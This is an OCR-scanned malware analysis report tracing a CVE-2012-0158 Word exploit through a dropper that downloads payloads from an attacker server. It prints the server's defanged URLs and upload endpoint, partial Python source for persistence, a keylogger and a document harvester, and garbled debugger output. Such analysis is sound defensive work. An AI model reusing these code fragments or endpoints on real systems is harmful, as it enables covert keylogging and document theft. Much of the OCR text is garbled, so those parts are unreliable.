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Step 1: The target gets a doc file through his email. The doc file has a built in
exploit. The doc file downloads a controller executable from a predefined
server.

Analysis of DOC Exploit:

CVE ID: CVE-2012-0158

Exploit Name: MSCOMCTL ActiveX Buffer Overflow

ExploitDetails: Exploits a Stack buffer overflow vulnerability in
MSCOMCTL.OCX

Hash: DDC550CCAOACD7DB16DED6B8C467D0D0

Analyzed the shell code & found the Doc Exploit is downloading EXE from
attacker's server “hxxp://81.4.110.128/netex1/qwavel.exe” and executes it.
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Step2: qwavel.exe is downloaded from the remote server; This program
checks the operating system of the victim PC and downloads other executable
files for that operating system.

Analysis of gwavel.exe:

Hash: 0644D91E1E585364242295EEE3473B4D
Language used: Visual Basic

*, Gets list of additional files to download from its server by requesting
“hxxp://81.4.110.128/netsync1/getfile.php”

*. Downloads win7.exe, xp.exe, lltDsvc64.exe,sppsvc64.exe and a.doc
from the attacker's server:
hxxp://81.4.110.128/netsyncl/download/win7.exe
hxxp://81.4.110.128/netsyncl/download/xp.exe
hxxp://81.4.110.128/netsyncl/download/lltDsvc64.exe
hxxp://81.4.110.128/netsyncl/download/sppsvc64.exe

hxxp://81.4.110.128/netsyncl/download/a.doc

OllyDbg - qwavel.exe - [CPU - main thread, module qwavel]

@File View Debug Trace Flugins Options Windows Help

B4 x| w|»ju] wil# 31 Hu] L E|Mw T]c|R|..|K] B|M|H] iF

BO46458E || - |HOU EDX,EAX

gp4e4s518(| - (LEA ECX,[EBP-8D4]

00404516|] - |CALL DWORD PTR DS:[<&MSUBUHG6B._ vbaStrHove>] MSUBUMG6O._ vbaStrHov
0048451C || - |PUSH EAX Arg2

A0LAL5AD || - MOV EDX,DWORD PTR SS:[EBP+8]

ge464528|] - |HOU EAX,DWORD PTR DS:[EDX+38]

06LA4523 (| - |PUSH EAX Argl

004045241 - |GALL DWORD PTR DS:[<&MSUBUMGB._ wbaStrCat>] MSUBUM6O._ vbaStrCa
0048452A (] - MOV EDX,EAX

apLBus2c|| - (LEA ECX,[EBP-8D8]

pa4o4532|] - |CALL DWORD PTR DS:[<&MSUBUHG6B._ vbaStrHove>] MSUBUMGB._ vbaStriou
06LBAL538 (| - |PUSH EAX Arg2

Be484539 | - PUSH 88482628 fArg1 = UNICODE "/download/win?.exe"
A040453E (| - |CALL DWORD PTR DS:[<&MSUBUMGB._ wbaStrCat>] MSUBUM6A.__ vbastrca
AoLALSLEL | - MOV EDX,EAX

OB4o4586|] - |LEA ECK,[EBP-BAB]

A0LALLLE || - |CALL DWORD PTR DS :[<&MSUBUMGB. wbaStrHove>] MSUBUM6A._ vbaStriov
ge464552|] - |LEA ECX,[EBP-B8D8]

00484558 (| - |PUSH ECX Uar3

00404559 - |LEA EDX,[EBP-0D4]

0048455F || - |PUSH EDX Uar2

gpuBss6@(| - (LEA EAX,[EBP-8DA]

Be464566 || - |PUSH EAX Var1

annanca7 . lencn 2 Harcann = a
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Uploads the Logs & other files gathered from victim's machine

MOV EDX,EAX
LEA ECX,[LOCAL.98]

CALL DWORD PTR DS:[<&MSUBUM6B. uwbaStrHowe>] MSUBUM6B._ vbaStrHow

PUSH EAX Arg2

PUSH @8402C3C Arg1 = UNICODE “/post.php?filename=""
CALL DWORD PTR DS:[<&MSUBUM6B. wvbasStrCat:] MSUBUMGB. wbaStrCa

MOU EDX,EAX
LEA ECX,[LOCAL.21]

CALL DWORD PTR DS:[<&MSUBUM6B._ wvbaStrHove>] MSUBUMGB. _ wbaStrHouw
PUSH EAX Arg2

MOV EAX,DWORD PTR SS:[LOCAL.G6G] [

PUSH EAX Arg1 => [LOCAL.6G]

CALL DWORD PTR DS:[<&MSUBUMG6O._ uvbaStrCat>] MIUBUHG6B.__ wbaStrCa
MOV EDX,EAX
LEA ECX,[LOCAL.92]

CALL DWORD PTR D3 :[<&MSUBUMGO. wbaStrHove>] MIUBUHG6B._ vbastrHov

PUSH EAX Arg2

PFUSH 884082C68 Arg1 = UNICODE *“&folder="
CALL DWORD PTR DS:[<&MSUBUMGH. wvbaStrCat>] MEUBUMG6B. wbaStrCa

MOU EDX,EAX
LEA ECX,[LOCAL.93]

CALL DWORD PTR DS:[<&MSUBUMGB. wbaStrHHove>] MEUBUMG6A.__ vbaStriov
PUSH EAX Arg2

MOU ECX,DWORD PTR SS:[LOCAL.15] [

PIISH FrY fend =% FlAral AE1
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Step3: The controller executable in step 2 downloads python based executable
file from the server according to the operating system. This file registers the exe
as a service.

The following files are python files created using Pylnstaller:

Analysis of win7.exe:

Hash: 4A513C372F3ED1239F9597DE3B1D9173

*_ Creates and Runs a “Scheduled Task” so that the malware will be
executed every time booted.

Python code:

info = taskDef.RegistrationInfo

info.Author = author

info.Description = description

settings = taskDef.Settings

settings.Enakled = True

settings.StartWhenAvailable = True

settings.Hidden = task_ hidden

#register the task (create or update, Jjust keep the task name the =same)

result = rootFolder.RegisterTaskDefinition(task id, taskbDef, TASK CREATE OR UPDATE,

task = rootFolder.GetTask(task id)

task.Enabled = True

#runningTask

task.Enabled
except:

task.Run ("")
True

Analysis of XP.exe:
Hash : BDC98BBEE6AA573C8ED060BB683386F6

* Makes the malware file as service

Python code:

import win32com.client, sys,05,win32serviceutil,win32service

filel7 = sys.argv[l]
fpath = sys.argv[2]

try:
ServiceName = "WindowsSysLog"
DisplayName = "Windows Sys Log"
descriptions = "To Check Window Sys Logs"

exenans = fpath+filel?

win32serviceutil.InstallService ("Windows Sys Log", ServiceName,DisplayName, startTyp
except:

pass
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Analysis of sppsvc64.exe: (Log system activity with keystrokes)
Hash: C7E0C3237B4C52AB328C30751D8CCD03

Python code extracted from sppsvc64.exe(Key.py):

==l

kevlogs = "["H+event.Key+"1"
if (1==1):
print "Inside wit —— "+kewlogs

cutlogt= kewlodg

1=len (ounitloo)

if(l==100) :
whitelog (ountloo)
ountlog=""

except
pass
while True:l
hm = pwvHoolk.HookManager ()
#F#hm . MouseAllButtonsUp = OnMouseEvent
hm -MousemldlButtonsDown = OnMouseBEwvent
hm.HookMouse ()
hm.KevDown = OnKevboardbEvent

hm.HookKevboard ()

p¥Lthoncom. PumpMessages ()

* Copies itself it to the “%UserProfile%\config\system\”
* Creates a “log.txt “ in the “%UserProfile%\config\system\” directory
* Logs every user activity

b | . = Computer ~ Local Disk (C:) ~ Users = windows ~ config ~ system - ml Search system
Indude in library +  Share with v  New folder H=
] o ,'I log - Notepad - |EI|1|
ites ———— File Edit Format View Help
= log ]
ies [ sppsvess log - Notepad
log - Notepad
uter
log - Notepad
ark system

Start menu
system

start menu
inter [Back] [Back] [Back] [Back] [Back] [Back]

Lttp; [Back][Lshift]://www.google.com[Return]
Set Up windows Internet Explorer 8

http://go.microsoft. com/?LinkID=121792 - Internet Explorer cannot display the webpage - windows

Internet Explorer

Internet Explorer cannot display the webpage - windows Internet Explorer

system

I | _’I_/
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Analysis of lltDsvc64.exe: (File searcher for doc/xls/ppt)

Hash: 4C6E4C59F1D94CD474BAB7CA4B72E111

Extracted Python code:

fl = open(dirl+'yplog.Ltzt', 'rh")
data = fl.read()
fl.close()
if (gs-path.splitext (fullpath) [1] == '.doc') or (gs.path.splitext (fullpath) [1] == '.x1s') or (gs.path.splitexk
#c = gs.path.getsize (fullpath)
#fullpathl = fullpath + "." + str(c)
if data.find(fullpath) !'= -1:
print "File All Ready There"
else:

#print fullpath

#05.5ystem (' @echo off")
#fnllpath.replace ("\,/, 1, %, 2, <, >, |, ~,5"," ™)
try:
fl = open(fullpath, "rh")
file = fl.read()
fl.close()
if not gs.path.exists(dirt"\\"+folder1[1]):
f2 = open(dir+"\\"+folderl[1], "wh")

* Copies itselft it to the “%UserProfile%\config\system\”

* Searches for XLS, PPT, DOC, PDFand copies them to
““%%UserProfile%\config\”

*. Creates a “uplog.txt” file that has location of doc/xls/ppt files

= E C:.lllu sers‘wmdows‘llconﬁg.\WSten] .lll“ pk}g e Mﬂtepad+ -

File Edit Search View Encoding Language Settings Macro Rum  Plugins  Window ?
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Jrganize *  Indudeinlibrary *  Share with =  MNew folde [=] uplog bt E:il

— 1 ¢C:\confidential\Secret.doc
T F ite: . .
Hi ravertEs 2 C:\Users\windows\gonfighSecret.doc
. system 0 - .
— L ! 3 C:\Users\windows\Desktop\confidential.ppt
= Libraries || confidential. ppt . i i
PP 4  C:\Users\windows\Documents\confidential.xls

|| confidential. s _
a L)
| ST || Secret.doc
. || Secret.doc-dbpnw
€ Network
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